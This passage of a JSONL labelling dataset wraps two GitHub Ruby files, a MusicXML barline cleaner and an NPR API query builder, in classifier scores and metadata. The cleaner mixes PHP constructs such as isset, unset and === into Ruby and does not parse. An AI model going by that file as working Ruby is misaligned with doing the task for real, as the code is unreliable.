0.3644379684100222, "education_level": 2.809321275319674, "creative_writing_quality": -0.11829463414755413}, "score_applicability": {"education_level": 0.9989781796999627, "creative_writing_quality": 0.00026708087676246693}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/arturictus/mxml2data/blob/ec4437d55a5bb1b75e61f094ce25aa03d05457fe/ruby/ipr_clearners.rb", "id": "ruby-0-526230ade38c95c708c935afabe3e69c", "text": "module IprCleaners\n def self.clean_barline(barline){\n # this->bars[]= json_encode(barline)\n eso=true #bypass the function\n recursive=true #use recursively\n half=[]\n if(eso===true)\n if (barline[0])\n barline.each do |arbar|\n \n # if(recursive===false)\n # if(json_encode(arbar)==='{\"@attributes\":{\"location\":\"left\"},\"bar-style\":\"heavy-light\",\"repeat\":{\"@attributes\":{\"direction\":\"forward\"}}}')\n # half['forward']=\"forward\"\n # unset(arbar['repeat'])\n # unset(arbar['bar-style'])\n # unset(arbar['@attributes'])\n # end\n # if(json_encode(arbar)==='{\"@attributes\":{\"location\":\"right\"},\"bar-style\":\"light-heavy\",\"repeat\":{\"@attributes\":{\"direction\":\"backward\"}}}')\n # half['backward']=\"backward\"\n # unset(arbar['repeat'])\n # unset(arbar['bar-style'])\n # unset(arbar['@attributes'])\n # end\n # if(json_encode(arbar)==='{\"@attributes\":{\"location\":\"left\"},\"bar-style\":\"light-light\"}')\n # half['light-light_left']=\"light-light\"\n # #barline.delete('repeat'])\n # unset(arbar['bar-style'])\n # unset(arbar['@attributes'])\n # end\n # if(json_encode(arbar)==='{\"@attributes\":{\"location\":\"right\"},\"bar-style\":\"light-light\"}')\n # half['light-light_right']=\"light-light\"\n # #barline.delete('repeat'])\n # unset(arbar['bar-style'])\n # unset(arbar['@attributes'])\n # end\n # if(json_encode(arbar)==='{\"@attributes\":{\"location\":\"right\"},\"bar-style\":\"light-heavy\"}')\n # half['light-heavy']=\"light-heavy\"\n # #barline.delete('repeat'])\n # unset(arbar['bar-style'])\n # unset(arbar['@attributes'])\n # end\n # end\n if(recursive===true)\n half << clean_barline(arbar)\n end\n end #end of barline.each\n #unset(barline)\n barline=half\n #unset(half)\n else\n case barline.to_json\n when '{\"@attributes\":{\"location\":\"left\"},\"bar-style\":\"heavy-light\",\"repeat\":{\"@attributes\":{\"direction\":\"forward\"}}}'\n barline['forward']=\"forward\"\n barline.delete('repeat')\n barline.delete('bar-style')\n barline.delete('@attributes')\n when'{\"@attributes\":{\"location\":\"right\"},\"bar-style\":\"light-heavy\",\"repeat\":{\"@attributes\":{\"direction\":\"backward\"}}}'\n barline['backward']=\"backward\"\n barline.delete('repeat')\n barline.delete('bar-style')\n barline.delete('@attributes')\n when'{\"@attributes\":{\"location\":\"left\"},\"bar-style\":\"light-light\"}'\n barline['light-light_left']=\"light-light\"\n #barline.delete('repeat')\n barline.delete('bar-style')\n barline.delete('@attributes')\n\n when'{\"@attributes\":{\"location\":\"right\"},\"bar-style\":\"light-light\"}'\n barline['light-light_right']=\"light-light\"\n #barline.delete('repeat')\n barline.delete('bar-style')\n barline.delete('@attributes')\n when'{\"@attributes\":{\"location\":\"right\"},\"bar-style\":\"light-heavy\"}'\n barline['light-heavy']=\"light-heavy\"\n #barline.delete('repeat'])\n barline.delete('bar-style'])\n barline.delete('@attributes'])\n\n end #end of case\n end #end of if(barline[0])\n \n end #end of if eso==true\n return barline\n end #end of clean_barline\n \n def self.clean_direction(direction) {\n do=true;\n if(do===true)\n if(direction[0])\n direction.each do |ardir|\n if(isset(ardir['direction-type']['coda']))\n coda=\"coda\"\n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n #return coda['coda']=\"yes\"\n end\n if (isset(ardir['direction-type']['rehearsal']))\n rehearsal=ardir['direction-type']['rehearsal']\n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n end\n if (isset(ardir['direction-type']['words']))\n words=ardir['direction-type']['words']\n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n end\n if (isset(ardir['direction-type']['segno']))\n ardir['segno']=\"segno\" \n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n end\n end #end direction.each\n direction=ardir\n unset(ardir)\n unset(half)\n else\n if(isset(ardir['direction-type']['coda']))\n coda=\"coda\"\n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n #return coda['coda']=\"yes\"\n end\n if (isset(ardir['direction-type']['rehearsal']))\n rehearsal=ardir['direction-type']['rehearsal']\n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n end\n if (isset(ardir['direction-type']['words']))\n words=ardir['direction-type']['words']\n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n end\n if (isset(ardir['direction-type']['segno']))\n ardir['segno']=\"segno\" \n unset(ardir['direction-type'])\n unset(ardir['@attributes'])\n end\n \n end# if direction[0]\n direction['coda']=coda if(coda)\n direction['rehearsal']=rehearsal if(rehearsal) \n direction['words']=words if(words) \n end # end of it do===true\n \n return direction;\n end #end of clean direction\nend", "text_preview": "module IprCleaners def self.clean_barline(barline){ # this->bars[]= json_encode(barline) eso=true #bypass the function recursive=true #use recursively half=[] if(eso===true) if (barline[0]) barline.each do |arbar| # if(recursive===false) # ", "input_sha256": "b89cdba71190b2d20703c07b8d4185b83da903b5a6d8e77cd44af92aa9293d7d", "text_sha256": "526230ade38c95c708c935afabe3e69c66e1bb0937f5fab0afee616a7b394b2a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16082, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": -1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": -0.4738468930330828, "noise_severity": 0.34401632538010335, "missing_content_severity": 0.045852396257435805, "factual_density": 2.652590878002748, "pretraining_utility": -0.25444498138997057, "math_density": 0.06853676163077468, "code_density": 3.769363644924539, "reasoning_density": 0.5148668934646019, "education_level": 2.065106929734648, "creative_writing_quality": -1.087756840686012}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.018014117580899103, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9929917111133657, "secondary": 0.9722925898162706, "tertiary": 0.9910899299006871, "structured_records": 0.03874734800265534, "procedural_steps": 0.007715014067559311, "worked_solution": 0.0024412793904311603, "contextual_dialogue": 9.693313741350576e-06, "content_quality": 0.3582059198017784, "noise_severity": 0.7133197288499138, "missing_content_severity": 0.9617896697854702, "factual_density": 0.2947494525585279, "pretraining_utility": 0.4877729437194189, "math_density": 0.9428860319743544, "code_density": 0.8078030374371156, "reasoning_density": 0.570944255446165, "education_level": 0.690027334350812, "creative_writing_quality": 0.9970690076849278, "primary_topic": 0.9742566562554771, "secondary_topic": 0.8908827518260428}, "probability_margin": {"primary": 0.9903346284053223, "secondary": 0.9607426261817372, "tertiary": 0.987432952723056, "education_level": 0.6137705297181597, "creative_writing_quality": 0.9965699829207414, "primary_topic": 0.9638489419640626, "secondary_topic": 0.8392294239083222}, "raw_probabilities": {"primary": {"Academic Writing": 5.183636857553785e-05, "Content Listing": 3.318202963346985e-05, "Creative Writing": 3.3947593191147595e-05, "Customer Support Page": 1.5114375066237428e-05, "Q&A Forum": 2.175201087285796e-05, "Discussion Thread": 1.5230594397508086e-05, "Comment Section": 2.9489848718754732e-05, "Missing Content": 9.081849800934632e-05, "Knowledge Article": 0.00013440651583629116, "Legal Notices": 5.758385433603218e-05, "News Article": 7.634701881927707e-06, "Organizational Announcement": 1.6923536172533988e-05, "Nonfiction Writing": 2.2483528407516603e-05, "Organizational About Page": 2.06933294068946e-05, "Personal About Page": 2.056121472411102e-05, "Personal Blog": 1.1704415899196879e-05, "Product Page": 1.193379658420977e-05, "Spam / Ads": 2.2354135407806055e-05, "Structured Data": 0.002552576860819641, "Technical Writing": 0.9932837231503088, "Transcript / Interview": 2.6700283485974067e-05, "Tutorial / How-To Guide": 0.0005602023776234839, "User Reviews": 1.0052235654287706e-05, "Other / Unknown": 0.002949094744986543}, "secondary": {"Academic Writing": 0.00012947637085645503, "Content Listing": 9.178202950155925e-05, "Creative Writing": 0.0001241994369360449, "Customer Support Page": 5.6005635866723435e-05, "Q&A Forum": 4.4734316230617656e-05, "Discussion Thread": 4.1813304046364096e-05, "Comment Section": 0.00018684976666954848, "Missing Content": 0.0002534719680159617, "Knowledge Article": 0.0004599316794756432, "Legal Notices": 0.00012417634214998162, "News Article": 5.751306594756843e-05, "Organizational Announcement": 5.069533483336266e-05, "Nonfiction Writing": 5.846312891748038e-05, "Organizational About Page": 6.86438549977296e-05, "Personal About Page": 5.3446965315239394e-05, "Personal Blog": 5.1415598305639354e-05, "Product Page": 3.332448900602943e-05, "Spam / Ads": 6.761592517370618e-05, "Structured Data": 0.011022765337511545, "Technical Writing": 0.012704439058855387, "Transcript / Interview": 6.710147554901791e-05, "Tutorial / How-To Guide": 0.000776662677031617, "User Reviews": 2.8406998214047603e-05, "NONE": 0.9734470652405927}, "tertiary": {"Academic Writing": 5.992556295917339e-05, "Content Listing": 4.606412735826932e-05, "Creative Writing": 6.755466492724132e-05, "Customer Support Page": 2.5851649643297453e-05, "Q&A Forum": 2.2542232355719333e-05, "Discussion Thread": 2.084161657380081e-05, "Comment Section": 8.79890761173338e-05, "Missing Content": 0.0002806795066898557, "Knowledge Article": 0.00017468154734031764, "Legal Notices": 8.177163555923722e-05, "News Article": 2.8487166623374068e-05, "Organizational Announcement": 2.511604018807093e-05, "Nonfiction Writing": 3.516387435829686e-05, "Organizational About Page": 4.779051810443596e-05, "Personal About Page": 2.741310253576045e-05, "Personal Blog": 2.4721594432549898e-05, "Product Page": 2.0501577949180327e-05, "Spam / Ads": 3.544522823391919e-05, "Structured Data": 0.0029204246826892394, "Technical Writing": 0.004028230098435868, "Transcript / Interview": 3.117673787965298e-05, "Tutorial / How-To Guide": 0.0004307622406393462, "User Reviews": 1.5682696914214854e-05, "NONE": 0.9914611828214919}, "structured_records": {"false": 0.9612526519973447, "true": 0.03874734800265534}, "procedural_steps": {"false": 0.9922849859324407, "true": 0.007715014067559311}, "worked_solution": {"false": 0.9975587206095688, "true": 0.0024412793904311603}, "contextual_dialogue": {"false": 0.9999903066862587, "true": 9.693313741350576e-06}, "content_quality": {"-2": 0.12199989463547432, "-1": 0.4174824077504473, "0": 0.3056330449317287, "1": 0.12213400137638654, "2": 0.03275065130596326}, "noise_severity": {"0": 0.7709115796508743, "1": 0.13804189206942008, "2": 0.07196469936550975, "3": 0.014282281077119874, "4": 0.004799547837076036}, "missing_content_severity": {"0": 0.9711686918960886, "1": 0.0157376815868726, "2": 0.009872782898415705, "3": 0.002514225600760656, "4": 0.0007066180178624578}, "factual_density": {"0": 0.06682604108944613, "1": 0.08384205806639455, "2": 0.22869265006238204, "3": 0.3711934833155203, "4": 0.24944576746625705}, "pretraining_utility": {"-2": 0.06657984721275893, "-1": 0.301399030037816, "0": 0.4773960378489719, "1": 0.12913642672754289, "2": 0.02548865817291023}, "math_density": {"0": 0.9693775884825261, "1": 0.014896348877379168, "2": 0.0029854899907020695, "3": 0.0032928578255793286, "4": 0.009447714823813347}, "code_density": {"0": 0.0004348864258114768, "1": 0.00102940852155762, "2": 0.039108775007065125, "3": 0.14759103379341226, "4": 0.8118358962521536}, "reasoning_density": {"0": 0.766735724208346, "1": 0.068878398443028, "2": 0.08681954680845985, "3": 0.03791592075601067, "4": 0.03965040978415554}, "education_level": {"none": 0.004024431287616048, "0": 0.003347500127254959, "1": 0.1008061397957649, "2": 0.7416894452923433, "3": 0.1279189155741836, "4": 0.02221356792283721}, "creative_writing_quality": {"not_applicable": 0.9975575064041065, "-2": 0.0009875234833650406, "-1": 0.0008413717004424967, "0": 0.0004912657723993301, "1": 8.508572946503759e-05, "2": 3.724691022140717e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010202520064995657, "Art & Design": 0.002587480621750879, "Law & Crime": 0.00011933404458948424, "Education & Careers": 0.0001036710082639322, "Entertainment & Media": 0.011397842896973058, "Fashion & Beauty": 0.00020253652983598513, "Business, Economics & Finance": 0.00016521156664333806, "Food & Dining": 0.00012794532921766953, "Games & Gaming": 0.0007806427760833921, "Electronics & Hardware": 0.00021731277358270397, "Health, Healthcare & Wellness": 9.439901862038722e-05, "History & Geography": 8.302219153945172e-05, "Home, Pets & Hobbies": 0.00028505437348539444, "Industry & Production": 8.546828877212161e-05, "Language, Literature & Philosophy": 0.0002379600180311898, "Politics & Government": 6.837811789241308e-05, "Religion & Spirituality": 0.0002238221988315406, "Science, Mathematics & Engineering": 0.001025325121570014, "Relationships & Community": 6.202912505877445e-05, "Software Usage & Applications": 0.0008589061029295739, "Programming & Software Engineering": 0.9752467848610357, "Sports & Fitness": 0.00018124827046129158, "Vehicles & Transportation": 7.123162403014767e-05, "Travel & Tourism": 0.0001325499530858274, "Other / Uncovered Subject": 0.0047024175631059295, "Unknown / Insufficient Content": 0.0008374004239599482}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006992668771775138, "Art & Design": 0.006801111621620259, "Law & Crime": 0.0005956214858170207, "Education & Careers": 0.000321326560590547, "Entertainment & Media": 0.05585014515518052, "Fashion & Beauty": 0.0003620414727984154, "Business, Economics & Finance": 0.0005303112270898903, "Food & Dining": 0.0003342142359393669, "Games & Gaming": 0.0013171712141176383, "Electronics & Hardware": 0.00045297370995881457, "Health, Healthcare & Wellness": 0.0002974926741160589, "History & Geography": 0.00025447037450518096, "Home, Pets & Hobbies": 0.000656871621867894, "Industry & Production": 0.00014942823429565764, "Language, Literature & Philosophy": 0.000419275930406775, "Politics & Government": 0.00019425209710050942, "Religion & Spirituality": 0.00051234966184353, "Science, Mathematics & Engineering": 0.0022725862683002887, "Relationships & Community": 0.00015717787790963563, "Software Usage & Applications": 0.00250394410787989, "Programming & Software Engineering": 0.014847048054768835, "Sports & Fitness": 0.0004013522700176293, "Vehicles & Transportation": 0.00013685432396227958, "Travel & Tourism": 0.0003396086506791385, "Other / Uncovered Subject": 0.014513535228553984, "NONE": 0.8950795690635027}}, "probabilities": {"primary": {"Academic Writing": 5.183636857553785e-05, "Content Listing": 3.318202963346985e-05, "Creative Writing": 3.3947593191147595e-05, "Customer Support Page": 1.5114375066237428e-05, "Q&A Forum": 2.175201087285796e-05, "Discussion Thread": 1.5230594397508086e-05, "Comment Section": 2.9489848718754732e-05, "Missing Content": 9.081849800934632e-05, "Knowledge Article": 0.00013440651583629116, "Legal Notices": 5.758385433603218e-05, "News Article": 7.634701881927707e-06, "Organizational Announcement": 1.6923536172533988e-05, "Nonfiction Writing": 2.2483528407516603e-05, "Organizational About Page": 2.06933294068946e-05, "Personal About Page": 2.056121472411102e-05, "Personal Blog": 1.1704415899196879e-05, "Product Page": 1.193379658420977e-05, "Spam / Ads": 2.2354135407806055e-05, "Structured Data": 0.002552576860819641, "Technical Writing": 0.9932837231503088, "Transcript / Interview": 2.6700283485974067e-05, "Tutorial / How-To Guide": 0.0005602023776234839, "User Reviews": 1.0052235654287706e-05, "Other / Unknown": 0.002949094744986543}, "secondary": {"Academic Writing": 0.00012947637085645506, "Content Listing": 9.178202950155926e-05, "Creative Writing": 0.00012419943693604493, "Customer Support Page": 5.600563586672344e-05, "Q&A Forum": 4.473431623061766e-05, "Discussion Thread": 4.18133040463641e-05, "Comment Section": 0.0001868497666695485, "Missing Content": 0.0002534719680159618, "Knowledge Article": 0.00045993167947564324, "Legal Notices": 0.00012417634214998164, "News Article": 5.7513065947568434e-05, "Organizational Announcement": 5.0695334833362664e-05, "Nonfiction Writing": 5.846312891748039e-05, "Organizational About Page": 6.864385499772961e-05, "Personal About Page": 5.34469653152394e-05, "Personal Blog": 5.141559830563936e-05, "Product Page": 3.332448900602944e-05, "Spam / Ads": 6.76159251737062e-05, "Structured Data": 0.011022765337511547, "Technical Writing": 0.012704439058855389, "Transcript / Interview": 6.710147554901792e-05, "Tutorial / How-To Guide": 0.0007766626770316171, "User Reviews": 2.8406998214047606e-05, "NONE": 0.9734470652405928}, "tertiary": {"Academic Writing": 5.992556295917339e-05, "Content Listing": 4.606412735826932e-05, "Creative Writing": 6.755466492724132e-05, "Customer Support Page": 2.5851649643297453e-05, "Q&A Forum": 2.2542232355719333e-05, "Discussion Thread": 2.084161657380081e-05, "Comment Section": 8.79890761173338e-05, "Missing Content": 0.0002806795066898557, "Knowledge Article": 0.00017468154734031764, "Legal Notices": 8.177163555923722e-05, "News Article": 2.8487166623374068e-05, "Organizational Announcement": 2.511604018807093e-05, "Nonfiction Writing": 3.516387435829686e-05, "Organizational About Page": 4.779051810443596e-05, "Personal About Page": 2.741310253576045e-05, "Personal Blog": 2.4721594432549898e-05, "Product Page": 2.0501577949180327e-05, "Spam / Ads": 3.544522823391919e-05, "Structured Data": 0.0029204246826892394, "Technical Writing": 0.004028230098435868, "Transcript / Interview": 3.117673787965298e-05, "Tutorial / How-To Guide": 0.0004307622406393462, "User Reviews": 1.5682696914214854e-05, "NONE": 0.9914611828214919}, "structured_records": {"false": 0.9612526519973447, "true": 0.03874734800265534}, "procedural_steps": {"false": 0.9922849859324407, "true": 0.007715014067559311}, "worked_solution": {"false": 0.9975587206095688, "true": 0.0024412793904311603}, "contextual_dialogue": {"false": 0.9999903066862587, "true": 9.693313741350576e-06}, "content_quality": {"-2": 0.1219998946354743, "-1": 0.4174824077504472, "0": 0.30563304493172866, "1": 0.12213400137638651, "2": 0.03275065130596325}, "noise_severity": {"0": 0.7709115796508743, "1": 0.13804189206942008, "2": 0.07196469936550975, "3": 0.014282281077119874, "4": 0.004799547837076036}, "missing_content_severity": {"0": 0.9711686918960886, "1": 0.0157376815868726, "2": 0.009872782898415705, "3": 0.002514225600760656, "4": 0.0007066180178624578}, "factual_density": {"0": 0.06682604108944613, "1": 0.08384205806639455, "2": 0.22869265006238204, "3": 0.3711934833155203, "4": 0.24944576746625705}, "pretraining_utility": {"-2": 0.06657984721275895, "-1": 0.30139903003781604, "0": 0.47739603784897194, "1": 0.1291364267275429, "2": 0.025488658172910232}, "math_density": {"0": 0.9693775884825261, "1": 0.014896348877379168, "2": 0.0029854899907020695, "3": 0.0032928578255793286, "4": 0.009447714823813347}, "code_density": {"0": 0.0004348864258114768, "1": 0.00102940852155762, "2": 0.039108775007065125, "3": 0.14759103379341226, "4": 0.8118358962521536}, "reasoning_density": {"0": 0.766735724208346, "1": 0.068878398443028, "2": 0.08681954680845985, "3": 0.03791592075601067, "4": 0.03965040978415554}, "education_level": {"none": 0.004024431287616048, "0": 0.003347500127254959, "1": 0.1008061397957649, "2": 0.7416894452923433, "3": 0.1279189155741836, "4": 0.02221356792283721}, "creative_writing_quality": {"not_applicable": 0.9975575064041067, "-2": 0.0009875234833650408, "-1": 0.0008413717004424969, "0": 0.0004912657723993302, "1": 8.50857294650376e-05, "2": 3.7246910221407173e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010202520064995657, "Art & Design": 0.002587480621750879, "Law & Crime": 0.00011933404458948424, "Education & Careers": 0.0001036710082639322, "Entertainment & Media": 0.011397842896973058, "Fashion & Beauty": 0.00020253652983598513, "Business, Economics & Finance": 0.00016521156664333806, "Food & Dining": 0.00012794532921766953, "Games & Gaming": 0.0007806427760833921, "Electronics & Hardware": 0.00021731277358270397, "Health, Healthcare & Wellness": 9.439901862038722e-05, "History & Geography": 8.302219153945172e-05, "Home, Pets & Hobbies": 0.00028505437348539444, "Industry & Production": 8.546828877212161e-05, "Language, Literature & Philosophy": 0.0002379600180311898, "Politics & Government": 6.837811789241308e-05, "Religion & Spirituality": 0.0002238221988315406, "Science, Mathematics & Engineering": 0.001025325121570014, "Relationships & Community": 6.202912505877445e-05, "Software Usage & Applications": 0.0008589061029295739, "Programming & Software Engineering": 0.9752467848610357, "Sports & Fitness": 0.00018124827046129158, "Vehicles & Transportation": 7.123162403014767e-05, "Travel & Tourism": 0.0001325499530858274, "Other / Uncovered Subject": 0.0047024175631059295, "Unknown / Insufficient Content": 0.0008374004239599482}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006992668771775138, "Art & Design": 0.006801111621620259, "Law & Crime": 0.0005956214858170207, "Education & Careers": 0.000321326560590547, "Entertainment & Media": 0.05585014515518052, "Fashion & Beauty": 0.0003620414727984154, "Business, Economics & Finance": 0.0005303112270898903, "Food & Dining": 0.0003342142359393669, "Games & Gaming": 0.0013171712141176383, "Electronics & Hardware": 0.00045297370995881457, "Health, Healthcare & Wellness": 0.0002974926741160589, "History & Geography": 0.00025447037450518096, "Home, Pets & Hobbies": 0.000656871621867894, "Industry & Production": 0.00014942823429565764, "Language, Literature & Philosophy": 0.000419275930406775, "Politics & Government": 0.00019425209710050942, "Religion & Spirituality": 0.00051234966184353, "Science, Mathematics & Engineering": 0.0022725862683002887, "Relationships & Community": 0.00015717787790963563, "Software Usage & Applications": 0.00250394410787989, "Programming & Software Engineering": 0.014847048054768835, "Sports & Fitness": 0.0004013522700176293, "Vehicles & Transportation": 0.00013685432396227958, "Travel & Tourism": 0.0003396086506791385, "Other / Uncovered Subject": 0.014513535228553984, "NONE": 0.8950795690635027}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9942, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9942, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:16.541708+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "2b16b73f-d5af-4778-b596-5567fc4529d3", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "ddb84cc39c80820f8927a0e8002b6276caae28cdcdb7a27202bf3047e096a50e", "source_metadata": {"uuid": "2b16b73f-d5af-4778-b596-5567fc4529d3", "repo_name": "arturictus/mxml2data", "relative_path": "ruby/ipr_clearners.rb", "category": "ALGO", "algo_rel_score": 0.8171674013137817, "quality_score": 3.1251914501190186, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 2, "repo_created_at": "2014-02-09T02:43:07.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "ad062bc21b13891155f2961ce4f4b571d522e1cf", "size_bytes": 6385, "file_timestamp": 1391914032, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ec4437d55a5bb1b75e61f094ce25aa03d05457fe"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 2, "repo_created_at": "2014-02-09T02:43:07.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "ad062bc21b13891155f2961ce4f4b571d522e1cf", "size_bytes": 6385, "file_timestamp": 1391914032, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ec4437d55a5bb1b75e61f094ce25aa03d05457fe", "url": "https://github.com/arturictus/mxml2data/blob/ec4437d55a5bb1b75e61f094ce25aa03d05457fe/ruby/ipr_clearners.rb"}, "gpt4o_tokens": 1357, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": -0.47384689303308286, "noise_severity": 0.34401632538010335, "missing_content_severity": 0.045852396257435805, "factual_density": 2.652590878002748, "pretraining_utility": -0.25444498138997057, "math_density": 0.06853676163077468, "code_density": 3.769363644924539, "reasoning_density": 0.5148668934646019, "education_level": 2.065106929734648, "creative_writing_quality": -1.087756840686012}, "score_applicability": {"education_level": 0.9959755687123839, "creative_writing_quality": 0.0024424935958933126}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/bricker/npr/blob/3a750b321f0a27aaac5bde9e513e6719f9cc0691/lib/npr/api/query_builder.rb", "id": "ruby-0-e6231caecb57510a2c2feb0ecde38845", "text": "##\n# NPR::API::QueryBuilder\n#\nmodule NPR\n module API\n class QueryBuilder\n CLASS_BUILDER_METHODS = [\n :where,\n :order,\n :limit,\n :offset,\n :set\n ]\n\n attr_reader :_klass, :builder\n\n #-----------------------\n\n def initialize(klass)\n @_klass = klass\n @builder = {}\n end\n\n #-----------------------\n # Build the params hash.\n # This is automatically called by #to_a, so it probably\n # doesn't need to be used manually.\n def to_params\n if @_klass == NPR::Entity::Story && @builder[:conditions]\n conditions = parse_conditions(@builder[:conditions])\n else\n conditions = @builder[:conditions]\n end\n\n params = conditions || {}\n params[:sort] = @builder[:order] if @builder[:order]\n params[:numResults] = @builder[:limit] if @builder[:limit]\n params[:startNum] = @builder[:offset] + 1 if @builder[:offset]\n params.merge!(@builder[:extra]) if @builder[:extra]\n\n params\n end\n\n #-----------------------\n # Fire the query and return an Array of stories (or empty [])\n #\n # Returns an Array. If the query returned any stories, then\n # it will be an array of those stories. If no stories were\n # returned, then it will be an empty array.\n #\n # There is no way to access the List or Messages returned\n # from the response. This method is meant to be a way to\n # get to the Stories as quickly and easily as possible.\n # If you want access to the full Response object, use #query.\n #\n # Example:\n #\n # query = NPR::API::QueryBuilder.new(NPR::Story)\n # query.where(:id => [100, 150]).to_a\n # #=> [NPR::Story, NPR::Story]\n #\n # # Assuming there is no story with an ID of 1\n # query.where(:id => 1).to_a\n # #=> []\n #\n # Note that for this method, +NPR.config.apiKey+ must be set.\n #\n def to_a\n response = self.query\n stories = []\n\n if response.list\n stories = Array.wrap(response.list.stories)\n end\n\n stories\n end\n\n #-----------------------\n # Fire the query and return the full Response object\n #\n # Example:\n #\n # query = NPR::API::QueryBuilder.new(NPR::Story)\n # query.where(:id => [100, 150]).query\n # #=> NPR::API::Response\n #\n # See NPR::API::Response for what methods are available\n # to you.\n #\n # Note that for this method, +NPR.config.apiKey+ must be set.\n def query\n client.query(self.to_params)\n end\n\n #-----------------------\n # Add in arbitrary parameters.\n #\n # These take precedence over anything set via\n # any of the other builder methods.\n #\n # Accepts a hash of key/values that the API\n # can receive and handle.\n #\n # Example:\n #\n # query.set(apiKey: \"YOUR_API_KEY\")\n #\n def 